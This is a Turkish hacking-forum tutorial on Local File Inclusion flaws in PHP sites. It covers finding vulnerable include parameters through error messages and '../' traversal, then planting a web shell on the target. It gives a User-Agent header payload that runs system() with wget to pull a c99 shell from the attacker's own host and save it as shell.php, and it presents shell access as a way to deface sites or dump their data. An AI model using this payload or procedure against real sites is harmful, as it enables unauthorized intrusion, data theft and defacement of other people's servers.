Local File Inclusion (LFI) Açıkları

'Taipan

Kıdemli Üye
30 Haz 2015
3,847
73
Local File Inclusion (LFI) Açıkları //NogayGokturk

Merhaba değerli THT üyesi arkadaşlarım. Bu konuda sizlere LFI açıkları hakkında elimden geldiğince bilgi vermeye çalışacağım. Şimdiden belirtmek isterim konumda çeşitli kaynaklardan faydalanarak bir harmanlama yapmaya çalışacağım umarım faydalı bir konu olur. Şimdi konumuza geçelim.

Local File Inclusion Nedir?

LFI (Local File Inclusion) kelime anlamı olarak Local File İnclude (Serverdan dosya çağırma) işlemidir.

LFI Açıkları Neden Oluşurlar?

Lfi açığı Php’de bulunan bir açıktır. Bu açığın sebebi de değişkenlerin atama hatalarıdır. Acemi Php coderlar maalesef bu tip hatalara düşmektedir. Fakat günümüzde neredeyse kalmayacak duruma gelen bu açık hala sıfırdan kodlanan Php sistemlerde bulunabiliyor.
Aslında Lfi “include, include_once, require, require_once” kodlarından dolayı oluşuyor. Bu Php kodlarına biraz inceleyelim.

INCLUDE / INCLUDE_ONCE : Bu kodumuz ile yazdığımız uzun kodları bir başka sayfaya aktarıyoruz.
REQUIRE / REQUIRE_ONCE : Bu kodda yukarıda verdiğim “include” komutunu yerine getirir fakat “include” komutunda çağırdığınız dosya bulunamadıysa hata verip orayı atlayacaktır ve yorumlayıcı yorumlamaya devam edecektir. Ancak Require komutunda çağrılan dosya bulunamazsa yorumlayıcı hatayı verdikten sonra çalışmayı kesecek yani diğer kısımları yorumlamayacaktır.

LFI Açıkları Nasıl Bulunur?

Bu açığı açık tarayan programlar ile tespit edebileceğiniz gibi manuel olarakta tespit edebilirsiniz. Manuel olarak nasıl tespit edileceğine geçelim.

Mesela ; http://www.orneksite.com/index.php?id=9 burası sadece id değil (cat,c,home vs.) gibi de olabilir. URL’sindeki id değerini yani 9 silelim eğer şöyle bir hata ile karşılaşırsak demek ki LFİ açığı vardır.

Hata: Warning: include(company_data/.php) [function.include]: failed to open stream: No such file or directory in /usr/home/posting/public_html/resources/index.php on line 171

Bunun dışında Örnek url:
http://site.com/index.php?page=haberler

Bu url de "page=haberler" parametresini değiştirip "page=haberlerasdasd" şu hatayla karşılaşıyoruz:

Warning: include(haberlerasdasd.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/site.com/index.php on line 135
Bu hata bize 2 şey hakkında bilgi veriyor. 1. si "page" parametresi üzerinden alınan veri, "index.php" de include ediliyor.


Bu işlemleri yaptığınızda site hata vermiyor ise hemen pes etmeyin.


Örneğin;
"page=haberler" parametresini değiştirip farklı birşey yaptığımızda sayfa boş dönüyor olsun.
Burada "lfi" açığı olup olmadığını nasıl anlarız?
Burada ilk denememiz gereken, sitede mevcut bir sayfayı çağırmaya çalışmaktır. Bu sayfa genelde "index.php" dir. Yani "page=index" denememiz gerekiyor.
Sayfanın boş çıkıp çıkmadığı kontrol edilir. Eğer sayfa boş değil de “index.php” yi içeriyorsa, açığımız mevcuttur. Peki ya "index.php" "haberler.php" ile aynı klasörde değilse?
Eğer sayfa boş çıkarsa bunu da göz önünde bulundurmamız gerekmekte. "../index.php", "../../index.php" şeklinde denemelere devam etmeliyiz.


LFI Açığı Ne İşimize Yarar?

LFI açığı ile açığı bulduğumuz siteye shell sokabiliriz. Shell soktuktan sonra ister index basın isterseniz verileri dump edin size kalmış bir şey bu tamamen. Zaten shell'i soktuktan sonrası Sql kullanıyorsanız orada yaptıklarınızla aynı.


Peki Shell'i Sitemize Nasıl Sokacağız?

Arkadaşlar öncelikle anlatacağım yöntem için mozilla tarayıcısına ve bu tarayıcının eklentilerinden birisi olan Tamper Data eklentisine ihtiyacımız var. Bunları edindikten sonra:

-->Önce Mozilla tarayıcımızı açıyoruz ve açık bulduğumuz siteye giriyoruz.

-->Tarayıcının üst kısmında araçlar sekmesi mevcut. Buraya tıklayıp Tamper Data ’yı açıyoruz.

-->Start Tamper diyip sayfayı yeniliyoruz. Gelen uyarıda Tamper diyoruz



adqbVz.png





User-Agent yazan kısma;

<?system(’wget http://kendisitemiz.com/c99.php -o shell.php’);?>

Yazıyoruz. Burada yapmamız gereken olay kendi sitemizde veya hostumuzda bir adet shell bulundurmak. Burada yaptığımız olay ise kendi sitemizdeki c99 shelli hedef siteye shell.php olarak kaydetmektir.

Bu olayı da yaptıktan sonra tamam diyoruz ve gelen diğer tüm yanıtlara submit diyoruz.

İşlem bitti. Hedef siteye Shellimizi soktuk.Şimdi shell'i çagırma zamanı.

www.siteadi.com/shell.php

Girdiğimiz zaman shell’e başarıyla giriş yapmış bulunuyorsunuz.

Okuduğunuz için teşekkür ederim umarım faydalı olmuştur. İyi forumlar.
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.